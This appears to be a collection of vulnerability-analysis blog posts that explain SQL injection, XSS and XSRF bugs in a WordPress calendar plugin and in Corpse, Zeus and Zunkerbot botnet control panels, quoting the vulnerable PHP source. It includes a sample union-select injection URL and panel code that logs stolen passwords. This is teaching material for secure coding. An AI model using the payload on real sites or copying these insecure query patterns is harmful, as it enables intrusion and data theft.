Boundaries –SQL Injection

Details

Affected Software:My Calendar WordPress Plugin

Fixed in Version:>1.7.2

Issue Type:SQL Injection

Original Code:Found Here

Details

This week’s bug was a subtle mistake in the usage of an escaping routine. It seems the developer understood the dangers of SQL injection and therefore used an escaping routine to sanitize user controlled input before using that input to build a SQL statement. Unfortunately,the developer overlooked a crucial characteristic and used the wrong escaping routine. Looking at the vulnerable line,we see the following:

1
$sql = "SELECT * FROM " . WP_CALENDAR_CATEGORIES_TABLE . "WHERE category_id=".mysql_escape_string($_GET['category_id']);

As you can clearly see,the developer chose to utilize the mysql_escape_string() function to escape $_GET[‘category_id] before using category_id to build a SQL statement. Looking at the documentation (http://php.net/manual/en/function.mysql-escape-string.php) for mysql_escape_string(),we see that the specific characters escaped are:null byte (0),newline (\n),carriage return (\r),backslash (\),single quote (‘),double quote (“) and substiture (SUB,or \032). In this case,none of these characters are required in order for SQL injection to be successful. The user controlled $_GET[‘category_id’] is not enclosed in quotes,so there is no need to break out of quotes for SQL injection. For example,the attacker can pass the following:

http://path-to-server/calendar.php? category_id=1%20union%20select%201,2,3,4,5,6%20from%20users;

This would result in the following SQL statement:
SELECT * FROM WP_CALENDAR_CATEGORIES_TABLE WHERE category_id=1 union select 1,2,3,4,5,6 from users;

As you can see,the attacker can craft a valid SQL injection without using any of the characters escaped by mysql_escape_string(). The developers addressed this issue by casting the $_GET[‘category_id’] to an int before using it in a SQL statement.

If you look closely…you’ll see other,unpatched SQL injections with the same symptom littered throughout the code…

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
...snip...
   
</style>
<?php
 // We do some checking to see what we're doing
 if (isset($_POST['mode']) && $_POST['mode'] == 'add')
  {
   // Proceed with the save  
   $sql = "INSERT INTO " . WP_CALENDAR_CATEGORIES_TABLE . "SET category_name='".mysql_escape_string($_POST['category_name'])."',category_colour='".mysql_escape_string($_POST['category_colour'])."'";
   $wpdb->get_results($sql);
   echo "<div class=\"updated\"><p><strong>".__('Category added successfully','calendar')."</strong></p></div>";
  }
 else if (isset($_GET['mode']) && isset($_GET['category_id']) && $_GET['mode'] == 'delete')
  {
   $sql = "DELETE FROM " . WP_CALENDAR_CATEGORIES_TABLE . "WHERE category_id=".mysql_escape_string($_GET['category_id']);
   $wpdb->get_results($sql);
   $sql = "UPDATE " . WP_CALENDAR_TABLE . "SET event_category=1 WHERE event_category=".mysql_escape_string($_GET['category_id']);
   $wpdb->get_results($sql);
   echo "<div class=\"updated\"><p><strong>".__('Category deleted successfully','calendar')."</strong></p></div>";
  }
 else if (isset($_GET['mode']) && isset($_GET['category_id']) && $_GET['mode'] == 'edit' && !isset($_POST['mode']))
  {
   $sql = "SELECT * FROM " . WP_CALENDAR_CATEGORIES_TABLE . "WHERE category_id=".mysql_escape_string($_GET['category_id']);
   $cur_cat = $wpdb->get_row($sql);
   ?>
<div class="wrap">
  <h2><?php _e('Edit Category','calendar'); ?></h2>
  <form name="catform"id="catform"class="wrap"method="post"action="<?php echo bloginfo('wpurl'); ?>/wp-admin/admin.php?page=calendar-categories">
        <input type="hidden"name="mode"value="edit"/>
        <input type="hidden"name="category_id"value="<?php echo stripslashes($cur_cat->category_id) ?>"/>
        <div id="linkadvanceddiv"class="postbox">
            <div style="float:left;width:98%;clear:both;"class="inside">
    <table cellpadding="5"cellspacing="5">
                <tr>
    <td><legend><?php _e('Category Name','calendar'); ?>:</legend></td>
                <td><input type="text"name="category_name"class="input"size="30"maxlength="30"value="<?php echo stripslashes($cur_cat->category_name) ?>"/></td>
    </tr>
                <tr>
    <td><legend><?php _e('Category Colour (Hex format)','calendar'); ?>:</legend></td>
                <td><input type="text"name="category_colour"class="input"size="10"maxlength="7"value="<?php echo stripslashes($cur_cat->category_colour) ?>"/></td>
                </tr>
                </table>
            </div>
            <div style="clear:both;height:1px;">&nbsp;</div>
        </div>
        <input type="submit"name="save"class="button bold"value="<?php _e('Save','calendar'); ?> &raquo;"/>
  </form>
</div>
   <?php
  }
 else if (isset($_POST['mode']) && isset($_POST['category_id']) && isset($_POST['category_name']) && isset($_POST['category_colour']) && $_POST['mode'] == 'edit')
  {
   // Proceed with the save
   $sql = "UPDATE " . WP_CALENDAR_CATEGORIES_TABLE . "SET category_name='".mysql_escape_string($_POST['category_name'])."',category_colour='".mysql_escape_string($_POST['category_colour'])."' WHERE category_id=".mysql_escape_string($_POST['category_id']);
   $wpdb->get_results($sql);
   echo "<div class=\"updated\"><p><strong>".__('Category edited successfully','calendar')."</strong></p></div>";
  }

 $get_mode = 0;
 $post_mode = 0;
 if (isset($_GET['mode'])) {
  if ($_GET['mode'] == 'edit') {
   $get_mode = 1;
  }
 }
 if (isset($_POST['mode'])) {
  if ($_POST['mode'] == 'edit') {
   $post_mode = 1;
  }
 }
 if ($get_mode != 1 || $post_mode == 1)
  {
?>

 <div class="wrap">
  <h2><?php _e('Add Category','calendar'); ?></h2>
  <form name="catform"id="catform"class="wrap"method="post"action="<?php echo bloginfo('wpurl'); ?>/wp-admin/admin.php?page=calendar-categories">
        <input type="hidden"name="mode"value="add"/>
        <input type="hidden"name="category_id"value="">
        <div id="linkadvanceddiv"class="postbox">
            <div style="float:left;width:98%;clear:both;"class="inside">
       <table cellspacing="5"cellpadding="5">
                <tr>
                <td><legend><?php _e('Category Name','calendar'); ?>:</legend></td>
                <td><input type="text"name="category_name"class="input"size="30"maxlength="30"value=""/></td>
                </tr>
                <tr>
                <td><legend><?php _e('Category Colour (Hex format)','calendar'); ?>:</legend></td>
                <td><input type="text"name="category_colour"class="input"size="10"maxlength="7"value=""/></td>
                </tr>
                </table>
            </div>
      <div style="clear:both;height:1px;">&nbsp;</div>
        </div>
        <input type="submit"name="save"class="button bold"value="<?php _e('Save','calendar'); ?> &raquo;"/>
  </form>
  <h2><?php _e('Manage Categories','calendar'); ?></h2>

Floods –SQL Injection

Details

Affected Software:Corpse C&C

Fixed in Version:?

Issue Type:SQL Injection

Original Code:Found Here

Details

This week’s bug is in Corpse C&C. SpotTheVuln reader Christina hits it right on the head,line 32 contains a ridiculous amount of SQL injection. Most of the parameters passed to the INSERT statement results in SQL injection. $id,$info,and $user are all set directly from $_GET or $_POST and are used in the SQL statement without any sanitization. Despite its name,$real_ip is also completely attacker controlled and can be used for SQL injection. Getenv(“HTTP_X_FORWARDED_FOR”) doesn’t sanitize the user controlled value in any way. For some reason,many developers assume the X-Forwarded-For header will only specify an IP address or domain name. X-Forwarded-For can contain any characters (including angle brackets,single quotes,and double quotes).

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

$use_mysql = 1;

if ($use_mysql == 1) {
 require_once('./mysqllog.php');
 require_once('./geoipcity.inc');
}

$ip = getenv("REMOTE_ADDR");
$real_ip = getenv("HTTP_X_FORWARDED_FOR");

if (isset($_GET['id'])) {
 $id = $_GET['id'];
} else {
 $id = $_POST['id'];
}

$info = $_POST['info'];
$user = $_POST['user'];

if ($use_mysql == 1) {
 //-----------------------------------
 $gi = geoip_open('./GeoIPCity.dat', GEOIP_STANDARD);
 $record = geoip_record_by_addr($gi, $ip);
 geoip_close($gi);
 //-----------------------------------
 $info = decode_string($info);
 if(@!mysql_connect($mysql_host,$mysql_login,$mysql_pass)) {echo '<p class="err">Error. Cant connect to mysql server </p>'; }
 if(@!mysql_selectdb($mysql_db)) {echo '<p class="err">Error. Cant connect to DB</p>'; }
 $query = 'INSERT INTO pass (add_date,id,uidlog,ip_real,ip,pass,country,city,zip)
    VALUES (now(),"'. $id . '","'. $user .'","'. $real_ip . '","'. $ip .'","'. $info .'","'. $record->country_name .'","'. $record->city .'","'. $record->postal_code .'")';
 if(@!mysql_query($query)) {echo '<p class="err">Error. Cant execute query</p>';  }
}
else {
 $date = date("Y-m-d");
 $time=date("H:i:s");
 
 list($year, $month, $day) = explode('-', $date);
 $filename = "pass.$day.$month.txt";
 $log = "$info@@@@@$user@@@@@$id@@@@@$real_ip@@@@@$ip@@@@@$date@@@@@$time\n";
 $fh = fopen("logs/$filename", "a+");
 fputs($fh, $log);  
 fclose($fh);
}

function decode_string($string) {
  $bindata = '';
  for ($i=0;$i<strlen($string);$i+=2) {
    $bindata.=chr(hexdec(substr($string,$i,2)));
  }
  return addslashes($bindata);
}
?>

Grammys –Cross Site Scripting

Details

Affected Software:Corpse C&C

Fixed in Version:?

Issue Type:XSS

Original Code:Found Here

Details

Fairly straightforward XSS bug here. This week’s bug can be found in the index.php file for the Corpse C&C. Specifically,the index file located at Corpse/info/socks/index.php. Buried deep within the print statement starting on line 30 are two unsanitized,unescaped variables ($states and $countrys). Both $states and $countrys are taken directly from $_POST parameters and assigned to php variables. Those php variables are then used to build HTML markup. Buried within a large print statement,a little difficult to spot,but this bug is classic XSS.

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php

include_once('geoipcity.inc');
include_once('../mysqllog.php');

$countrys = $_POST['countrys'];
$states = $_POST['states'];

if ($countrys == "") {
 $countrys = "all";
}
if ($states == "") {
 $states = "all";
}

$date = date("m-d");
list($month, $day) = explode('-', $date);


print "<STYLE><!-- a:link{color:#404040;text-decoration:none}  a:visited{color:#909090;text-decoration:none}  a:active{color:#000000;text-decoration:none}  a:hover{color:#000000;text-decoration:none}  input{BACKGROUND-COLOR:#66CF96;BORDER-BOTTOM:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-RIGHT:#ffffff 1px solid;BORDER-TOP:#ffffff 1px solid;COLOR:#000000;FONT-FAMILY:Tahoma,sans-serif;FONT-SIZE:12px}  --></STYLE>
 <BODY bgcolor=#DDDDDD text=#505050 marginwidth=0><table align=center border=1><TD><form action=index.php method=post><B>Select by country</B><TD><select name=countrys><option value=all>All countries";

$j = 1;
while ($GEOIP_COUNTRY_CODES[$j] != "") {
 print "<option value=$GEOIP_COUNTRY_CODES[$j]>$GEOIP_COUNTRY_NAMES[$j]\r\n";
 $j++;
}

print "</SELECT><TD><BR><INPUT type=submit value=submit></FORM><TR><TD>
 <FORM action=index.php method=post><B>Select by state</B><TD><select name=states><option value=all>all<option value=AK>AK<option value=AL>AL<option value=AR>AR<option value=AS>AS<option value=AZ>AZ<option value=CA>CA<option value=CO>CO
 <option value=CT>CT<option value=DC>DC<option value=DE>DE<option value=FL>FL<option value=GA>GA<option value=HI>HI<option value=IA>IA<option value=ID>ID<option value=IL>IL<option value=IN>IN
 <option value=KS>KS<option value=KY>KY<option value=LA>LA<option value=MA>MA<option value=MD>MD<option value=ME>ME<option value=MI>MI<option value=MN>MN<option value=MO>MO<option value=MP>MP
 <option value=MS>MS<option value=MT>MT<option value=NC>NC<option value=ND>ND<option value=NE>NE<option value=NH>NH<option value=NJ>NJ<option value=NM>NM<option value=NV>NU<option value=NY>NY
 <option value=OH>OH<option value=OK>OK<option value=OR>OR<option value=PA>PA<option value=PR>PR<option value=RI>RI<option value=SC>SC<option value=SD>SD<option value=TN>TN<option value=TX>TX
 <option value=UT>UT<option value=VA>VA<option value=VI>VI<option value=VT>VT<option value=WA>WA<option value=WI>WI<option value=WV>WV<option value=WY>WY</select>
 <TD><BR><input type=submit value=submit></form></table><B><CENTER><BR>Current country selected:$countrys<BR>Current state selected:$states</CENTER></B><BR>
 <table width=100% cellspacing=0><tr><td><table width=100% bgcolor=#FFFFFF cellspacing=1><tr><td align=center bgcolor=#66CF96><b>List</b></td></tr></table></td></tr>
 <tr><td><table width=100% bgcolor=#FFFFFF cellspacing=1><tr><td align=center bgcolor=#66CF96>IP</td><td align=center bgcolor=#66CF96>UPDATE</td><td align=center bgcolor=#66CF96>ID</td>
 <td align=center bgcolor=#66CF96>COUNTRY</td>
 <td align=center bgcolor=#66CF96>CITY</td>
 <td align=center bgcolor=#66CF96>STATE</td>
 <td align=center bgcolor=#66CF96>UPTIME</td></tr>";
  

$stime = mktime();
$stime = $stime - 86400;
$link = mysql_connect($mysql_host, $mysql_login, $mysql_pass) or die("Could not connect:" . mysql_error());
mysql_select_db($mysql_db, $link) or die("Could not select:" . mysql_error());
$query = 'SELECT * FROM `socks` WHERE `update` >' . $stime . ' ORDER BY `update` DESC';
$result = mysql_query($query, $link) or die("Could not execute:" . mysql_error());

$tot = 0;
while ($row = mysql_fetch_assoc($result)) {
 $prms[0] = $row['ip'];
 $prms[1] = $row['hport'];
 $prms[2] = $row['sport'];
 $prms[3] = $row['update'];
 $prms[4] = $row['uptime'];
 $prms[5] = $row['uid'];
 $prms[6] = $row['used'];
 if ($prms[0] != "") {
 printent($prms,$tot,$countrys,$states);
 $tot++;
 }
}
mysql_close($link);

print "</table><table width=100% bgcolor=#FFFFFF cellspacing=1><tr><td align=right bgcolor=#66CF96>Total:<b>$tot</b></tr></td></table></table></table></tr></td></TABLE></BODY></HTML>";

function printent($prms,$tot,$countrys,$states){
 if(!($tot%2)) {
 $bcolor="#D6D6D6";
 } else {
 $bcolor="#98E8E1";
 }
 
 $tid = $prms[5];
 $tid = chop($tid);
 
 $gi = geoip_open("../GeoIPCity.dat",GEOIP_STANDARD);
 $record = geoip_record_by_addr($gi,$prms[0]);
 geoip_close($gi);

 if (($countrys == "all") & ($states == "all")) {
 echo "<tr>\r\n";
 echo "<td align=left bgcolor=$bcolor onClick=\"window.open('check.php?ip=$prms[0]&port=$prms[2]&hport=$prms[1]','child','scrollbars=no,width=250,height=100');\" onmouseover=\"this.style.background='#000D2A';\" onmouseout=\"this.style.background='$bcolor';\"><font face='Fixedsys' color=#707070><INPUT type=button value=\"Copy IP\" onclick=window.clipboardData.setData(\"Text\",\"$prms[0]\")>$prms[0]</font></td>\r\n";
 echo "<td align=center bgcolor=$bcolor><font face='Fixedsys' color=#707070>" . date("H:i:s d.m.y", $prms[3]) ."</font></td>\r\n";//socks
 echo "<td align=center bgcolor=$bcolor><font face='Fixedsys' color=#707070><INPUT type=button value=\"Copy ID\" onclick=window.clipboardData.setData(\"Text\",\"$tid\")>&nbsp;$tid</font></td>\r\n";//socks

 // Show flag
 if ($record->country_code == "") {
  $record->country_code = "-";
  $record->country_name = "";
 }

 $c_code = strtolower($record->country_code);
 
 $flag = "<IMG src=../flags/$c_code.gif>&nbsp;$record->country_name.<BR>";
 
 echo "<td align=left bgcolor=$bcolor><font face='Fixedsys' color=#707070>$flag</font></td>\r\n";

Imagination –XSS and XSRF

Details

Affected Software:Zeus C&C

Fixed in Version:?

Issue Type:XSS and XSRF

Original Code:Found Here

Details

This week’s bugs affected Zeus C&C 1.1.0.0. The file we’re looking at is mod.bcmds.php. The first thing that popped out at me was the named constant “QUERY_STRING” that’s being used in various places in code. Although we don’t get to see exactly where QUERY_STRING is being defined in the code snippet as a general rule of thumb,values from the query string cannot be trusted. In this case,QUERY_STRING is defined in a different file (in.php) in the following line:

1
define('QUERY_STRING', QUERY_STRING_BLANK.$module);

QUERY_STRING_BLANK is defined in the following way (also in in.php):

1
define('QUERY_STRING_BLANK', $_SERVER['PHP_SELF'].'?m=');

Veteran Spot the Vuln readers will immediately realize that $_SERVER[‘PHP_SELF’] cannot be trusted and can contain attacker supplied data. An old,but good write-up on PHP_SELF XSS can be found here.

Knowing this,we’re free to XSS the Zeus C&C and hijack the bots… as long as we can get the Zeus botmaster to visit a page we own (a reasonable request) AND we can figure out the domain name the botmaster is using for their C&C (fairly difficult). Botmasters can take advantage of browser same origin policy defenses and use a host file to create a unique domain for their C&Cs… minimizing the impact of reflected XSS exploits against their C&Cs. I’m wondering if this is the first public security advice for the botmaster community…

I’ve highlighted the lines that insecurely use the QUERYSTRING constant to build HTML markup,resulting in XSS. I couldn’t find a mod.bcmds.php file after Zeus 1.1.0.0,so I’m considering this specific XSS issue fixed.

There is a second,more subtle issue in this code… one that still affects the latest Zeus C&C builds. The C&C developer seemingly went through great lengths to defend against SQL injection. A quick perusal through the code shows a smattering of addslashes() and is_numeric() in attempts to validate input before passing it to backend databases. What’s missing however… are nonce/token checks (XSRF defenses). The following code snippet is a perfect example:

1
2
3
4
5
6
else if(isset($_GET['del'])&&is_numeric($_GET['del'])&&$pedt)
{
 mysql_query('DELETE FROM  '.TABLE_BCMDS.' WHERE id='.$_GET['del'].' LIMIT 1');
 header('Location:'.QUERY_STRING);
 die();  
}

In the snippet above,we see that the C&C code grabs a value directly from the querystring,validates that it is_numeric(),and then passes the value to a DELETE statement. No where does the code attempt to validate that the request wasn’t generated via XSRF. If an attacker can discover the location of the C&C and lure the botmaster to an attacker controlled page,they can setup an XSRF attack to delete the entire TABLE_BCMDS. Looking through the latest,most current Zeus C&C code,XSRF defenses still have not been put into place… come on guys,even WordPress has XSRF defenses! http://codex.wordpress.org/Function_Reference/wp_verify_nonce

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php if(!defined('__INDEX__'))die();
$pedt=PRIV&PRIV_BOTS_CMDS_EDIT;
if((isset($_GET['new'])&&$pedt)||(isset($_GET['edit'])&&is_numeric($_GET['edit'])))
{
 if(!@include_once('fmt.php'))die('fmt.php not founded!');
 $name=isset($_POST['name'])?$_POST['name']:time();
 $stat=isset($_POST['stat'])?($_POST['stat']?1:0):0;
 $limit=(isset($_POST['limit'])&&is_numeric($_POST['limit']))?$_POST['limit']:0;
 $cnts=isset($_POST['cnts'])?$_POST['cnts']:'';
 $cids=isset($_POST['cids'])?$_POST['cids']:'';
 $bns=isset($_POST['bns'])?$_POST['bns']:'';
 $cmds=isset($_POST['cmds'])?$_POST['cmds']:'';

 if($_SERVER['REQUEST_METHOD']=='POST'&&strlen($name)>0&&$pedt)
 {
  $cmdsb=EncodeBuffer(str_replace("\r\n","\n",trim($cmds)));
  $data='name=\''.addslashes($name).'\',stat='.$stat.',lim='.$limit.',c=\''.addslashes(SepFmt($cnts)).'\',comps=\''.addslashes(SepFmt($cids)).'\',bns=\''.addslashes(SepFmt($bns)).'\',cmds=\''.addslashes($cmdsb).'\'';
  if(isset($_GET['new']))mysql_query('INSERT INTO '.TABLE_BCMDS.' SET '.$data.',id2='.time());
  else mysql_query('UPDATE '.TABLE_BCMDS.' SET '.$data.' WHERE id=\''.$_GET['edit'].'\' LIMIT 1');
  header('Location:'.QUERY_STRING);
 }
 else
 {
  if(!$pedt&&isset($_GET['new']))unset($_GET['new']);
  HTMLBegin(isset($_GET['new'])?LNG_MBCMDS_NEWCMD:($pedt?LNG_MBCMDS_EDITCMD:LNG_MBCMDS_VIEWCMD));  
  if(isset($_GET['new']))print CmdForm('new',LNG_MBCMDS_NEWCMD,LNG_MBCMDS_ADD,$name,$stat,$limit,$cnts,$cids,$bns,$cmds);
  else
  {
   $r=mysql_query('SELECT * FROM '.TABLE_BCMDS.' WHERE id=\''.$_GET['edit'].'\' LIMIT 1');
   if($r&&mysql_affected_rows()==1&&($m=mysql_fetch_assoc($r)))print CmdForm('edit='.$_GET['edit'],$pedt?LNG_MBCMDS_EDITCMD:LNG_MBCMDS_VIEWCMD,$pedt?LNG_MBCMDS_EDIT:'',$m['name'],$m['stat'],$m['lim'],SepFmtB($m['c']),SepFmtB($m['comps']),SepFmtB($m['bns']),DecodeBuffer($m['cmds']));
   else print '<font class="error">'.LNG_MBCMDS_ERROR_1.'</font>';
  }
  HTMLEnd();
 }
 die();
}
else if(isset($_GET['del'])&&is_numeric($_GET['del'])&&$pedt)
{
 mysql_query('DELETE FROM  '.TABLE_BCMDS.' WHERE id='.$_GET['del'].' LIMIT 1');
 header('Location:'.QUERY_STRING);
 die();  
}
else if(isset($_GET['res'])&&is_numeric($_GET['res'])&&$pedt)
{
 mysql_query('UPDATE '.TABLE_BCMDS.' SET exc=\'0\',rcomps=\'\',exct=\'0\' WHERE id='.$_GET['res'].' LIMIT 1');
 header('Location:'.QUERY_STRING);
 die();
}

HTMLBegin(LNG_MBCMDS,$pedt?'function DelCmd(uid,q){if(confirm(q))window.location=\''.QUERY_STRING.'&del=\'+uid};function ResCmd(uid,q){if(confirm(q))window.location=\''.QUERY_STRING.'&res=\'+uid}':'');

$r=mysql_query('SELECT * FROM '.TABLE_BCMDS);    
$total=mysql_affected_rows();
print '<table class="tbl1"><tr><td class="td1"colspan="'.($pedt?9:10).'">'.LNG_MBCMDS_R_CMDS.'&nbsp;('.$total.')</td>';
if($pedt)print '<td class="td1"align="center"><input type="submit"value="'.LNG_MBCMDS_NEWCMD.'"class="ism"style="width:100%"onClick="window.location=\''.QUERY_STRING.'&new\';"></td>';
print '</tr><tr><td class="td1">'.LNG_MBCMDS_R_ID.'</td><td class="td1">'.LNG_MBCMDS_R_NAME.'</td><td class="td1">'.LNG_MBCMDS_R_STAT.'</td><td class="td1">'.LNG_MBCMDS_R_LIMIT.'</td><td class="td1">'.LNG_MBCMDS_R_REQ.'</td><td class="td1">'.LNG_MBCMDS_R_EXEC.'</td><td class="td1">'.LNG_MBCMDS_R_CNTS.'</td><td class="td1">'.LNG_MBCMDS_R_CIDS.'</td><td class="td1">'.LNG_MBCMDS_R_BNS.'</td><td class="td1">&nbsp;</td></tr>';
if($total>0)
{
 $j=0;
 while(($m=mysql_fetch_assoc($r)))
 {
  $a=(($j++)%2==0?1:2);
  print '<tr valign="top"><td align="right"class="tdx'.$a.'">'.$m['id2'].'</td>'.
     '<td class="tdx'.$a.'">'.htmlentities($m['name']).'</td>'.
     '<td class="tdx'.$a.'">'.($m['stat']?LNG_MBCMDS_STAT_ON:LNG_MBCMDS_STAT_OFF).'</td>'.
     '<td align="right"class="tdx'.$a.'">'.$m['lim'].'</td>'.
     '<td align="right"class="tdx'.$a.'">'.$m['exc'].'</td>'.
     '<td align="right"class="tdx'.$a.'">'.$m['exct'].'</td>'.
     '<td class="tdx'.$a.'">'.($m['c']==''?'-':str_replace(',','<br>',htmlentities(SepFmtB($m['c'])))).'</td>'.
     '<td class="tdx'.$a.'">'.($m['comps']==''?'-':str_replace(',','<br>',htmlentities(SepFmtB($m['comps'])))).'</td>'.
     '<td class="tdx'.$a.'">'.($m['bns']==''?'-':str_replace(',','<br>',htmlentities(SepFmtB($m['bns'])))).'</td>'.
     '<td class="tdx'.$a.'"align="center"><input class="ism"style="width:90%"type="submit"value="'.($pedt?LNG_MBCMDS_R_EDIT:LNG_MBCMDS_R_VIEW).'"onClick="window.location=\''.QUERY_STRING.'&edit='.$m['id'].'\';return false;">';
  if($pedt)print '<br><input class="ism"style="width:90%"type="submit"value="'.LNG_MBCMDS_R_RES_OK.'"onClick="javascript:ResCmd(\''.$m['id'].'\',\''.addslashes(sprintf(LNG_MBCMDS_R_RES,$m['name'])).'\');return false;"><br><input class="ism"style="width:90%"type="submit"value="'.LNG_MBCMDS_R_DEL_OK.'"onClick="javascript:DelCmd(\''.$m['id'].'\',\''.addslashes(sprintf(LNG_MBCMDS_R_DEL,$m['name'])).'\');return false;">';
  print '</td></tr>';
 }
}
else print '<tr><td align="center"colspan="10"class="tdx1"><i>'.LNG_MBCMDS_R_NONE.'</i></td></tr>';
print '</table>';
HTMLEnd();

function CmdForm($cmd,$title,$action,$name,$stat,$limit,$cnts,$cids,$bns,$cmds)
{
 $en=$action==''?0:1;
 $stat=$stat?1:0;
 $ro=$en?'':'readonly ';
 
 $str=$en?'<form method="POST"action="'.QUERY_STRING.'&'.$cmd.'">':'';
 $str.='<table class="tbl1"width="350"><tr><td class="td1"colspan="2">'.$title.'</td></tr>'.
    '<tr><td>'.LNG_MBCMDS_NAME.'</td><td width="100%"><input '.$ro.'type="text"name="name"value="'.htmlentities($name).'"style="width:100%"></td></tr>'.
    '<tr><td colspan="2"><table class="tbl1"><tr><td>'.LNG_MBCMDS_STAT.'</td><td width="100%"><select '.($en?'':'disabled ').'name="stat"style="width:100%">'.
    '<option value="1"'.($stat==1?' selected':'').'>'.LNG_MBCMDS_STAT_ON.'</option>'.
    '<option value="0"'.($stat==0?' selected':'').'>'.LNG_MBCMDS_STAT_OFF.'</option>'.
    '</select></td></tr>'.
    '<tr><td>'.LNG_MBCMDS_LIMIT.'</td><td width="100%"><input '.$ro.'type="text"name="limit"value="'.$limit.'"style="width:100%"></td></tr>'.
    '<tr><td>'.LNG_MBCMDS_CNTS.'</td><td width="100%"><input '.$ro.'type="text"name="cnts"value="'.$cnts.'"style="width:100%"></td></tr>'.
    '<tr><td>'.LNG_MBCMDS_CIDS.'</td><td width="100%"><input '.$ro.'type="text"name="cids"value="'.$cids.'"style="width:100%"></td></tr>'.
    '<tr><td>'.LNG_MBCMDS_BNS.'</td><td width="100%"><input '.$ro.'type="text"name="bns"value="'.$bns.'"style="width:100%"></td></tr>'.
    '<tr><td valign="top">'.LNG_MBCMDS_CMDS.'</td><td><textarea wrap="off"'.$ro.'name="cmds"style="width:100%;height:100">'.htmlentities($cmds).'</textarea></td></tr>'.
    '</table></tr></td><tr><td colspan="2"align="right">';
 if($en)$str.='<input type="submit"class="ism"value="'.$action.'"style="width:100">&nbsp;';
 $str.='<input type="submit"class="ism"value="'.LNG_MBCMDS_BACK.'"style="width:100"onClick="window.location.href=\''.QUERY_STRING.'\';return false;"></td></tr>';
 if($en)$str.='</form>';
 return $str.'</table>';
}
function SepFmt($str){if(strlen($str)>1){$str=str_replace(',','|',trim($str));if($str[0]!='|')$str='|'.$str;if($str[strlen($str)-1]!='|')$str.='|';}return $str;}
function SepFmtB($str){if(strlen($str)>1){$str=str_replace('|',',',trim($str));if($str[0]==',')$str=substr($str,1);$l=strlen($str);if($str[$l-1]==',')$str=substr($str,0,$l-1);}return $str;}
?>

Shape –SQL Injection

Details

Affected Software:Zunkerbot C&C

Fixed in Version:Not Patched

Issue Type:SQL Injection

Original Code:Found Here

Details

This week’s bug affects the task.php for the Zunkerbot C&C. Looking at line 3,we see that magic quotes is set:set_magic_quotes_runtime(1);


Obviously,this was done by the malware author to prevent SQL injection attacks. Assuming everything is working correctly,a rival malware author should be able to inject any quotes to break out of existing SQL statements. Unfortunately for the Zunkerbot author,magicqoutes doesn’t cover all cases. Take for example lines 59 and 70. Here we see $s_id and $s_ip are enclosed in quotes. These values should be protected against SQL injection. $s_id and $s_ip aren’t the only variables being used in this SQL statement however. At the end of the two SQL statements is the following LIMIT clause:limit ‘.$_POST['S_RESULTS'];


$_POST['S_RESULTS'] is NOT encapsulated within quotes,therefore the attacker is free to add their own SQL without having to use any quotes. Magic quotes does not escape semicolon characters (;),so the attacker is free to stack SQL queries and run arbitrary SQL on the Zunkerbot C&C. With this SQL injection vulnerability in hand,a rival botmaster could take over vulnerable Zunkerbot botnets with a single GET request.

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php

include_once('auth.php');

set_magic_quotes_runtime(1);

if(is_readable('html.php')) include_once('html.php');
 else die('Could not find HTML library.');
 
if(is_readable('mycommon.php')) require('mycommon.php');
else die('Could not open configuration file.');

 if(is_readable('lang.php')) include_once('lang.php');
 else die('Could not find language library.');

$CTRL=1;
if(!isset($_GET['wohead']))
 include_once('head.php');

$msg = '';
$srch = '';

...<snip>...

 if(isset($_POST['S_COMPID'])){
 $srch = search_bot();
 };
 
 
 $param =array(
 "SRCH"=>$srch,
 "LAND"=>get_land($mres),
 "TASKS"=>get_task($mres),
 "MSG"=>$msg
 );
  
 
 
  
 echo HTML_TASK_ADD($param);  

//include_once('bottom.php');
//Functions++++++++++++++++++++++++++



function search_bot(){
global $mres,$_POST;

if($_POST['S_COMPID'] == '')
if($_POST['S_IP'] == '')
return '';
 



if($_POST['S_COMPID'] > ''){
 $s_id = str_replace('*',"%",$_POST['S_COMPID']);
$q = 'SELECT * FROM `bots` WHERE `FCompID` like ("'.$s_id.'") limit '.$_POST['S_RESULTS'];
 $result = mysql_query($q,$mres);
 
 return  HTML_serch_res_tbl($result);  
};
 
 
if($_POST['S_IP'] > ''){
 
 $s_ip = str_replace('*',"%",$_POST['S_IP']);
 
 $q = 'SELECT * FROM `bots` WHERE `ip_addr` like ("'.$s_ip.'") limit '.$_POST['S_RESULTS'];
 $result = mysql_query($q,$mres);
 
 return  HTML_serch_res_tbl($result);  
};


 
};



function HTML_serch_res_tbl($result){
global $LNG; 
 
  $nr = @mysql_num_rows($result);
if(!$nr)
 return "<font color=#990000>Message</font>:<em>No Entries found.</em>";
 
$ret = "<br><table width=\"543\" border=\"0\" cellpadding=\"1\" cellspacing=\"1\">"
."<tr class=\"file2\">"
